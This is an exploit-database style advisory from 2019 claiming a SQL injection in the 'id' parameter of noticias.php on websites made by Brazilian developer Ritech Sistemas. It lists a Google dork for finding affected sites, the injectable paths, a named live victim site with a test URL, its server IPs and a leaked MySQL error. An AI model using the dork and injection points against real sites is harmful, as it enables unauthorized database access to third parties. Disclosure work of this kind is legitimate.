Desenvolvido por Ritech Sistemas Brazil SQL Injection

##########################################################

# Exploit Title : Desenvolvido por Ritech Sistemas Brazil SQL Injection
# Author [ Discovered By ] : KingSkrupellos
# Team : Cyberizm Digital Security Army
# Date : 16/01/2019
# Vendor Homepage : ritechsistemas.com - ritechsistemas.com.br
# Tested On : Windows and Linux
# Category : WebApps
# Exploit Risk : Medium
# Google Dorks : intext:''Desenvolvido por: Ritech Sistemas'' site:br
# Vulnerability Type : CWE-89 [ Improper Neutralization of
Special Elements used in an SQL Command ('SQL Injection') ]

##########################################################

# SQL Injection Exploit :
***********************

/noticias.php?id=[SQL Injection]

/v3/noticias.php?id=[SQL Injection]

##########################################################

# Example Vulnerable Site :
*************************

[+] asthemg.org.br/v3/noticias.php?id=1011%27 =>

[ Proof of Concept ] => archive.is/DdI0w

Note : (177.185.194.166) => There are 427 domains hosted on this server.

Note : (177.185.194.174) => There are 59 domains hosted on this server.

##########################################################

# SQL Database Error :
**********************

Warning: mysql_fetch_array() expects parameter 1 to be resource,

boolean given in /home/asthemg/www/v3/noticias.php on line 19

##########################################################

# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team

##########################################################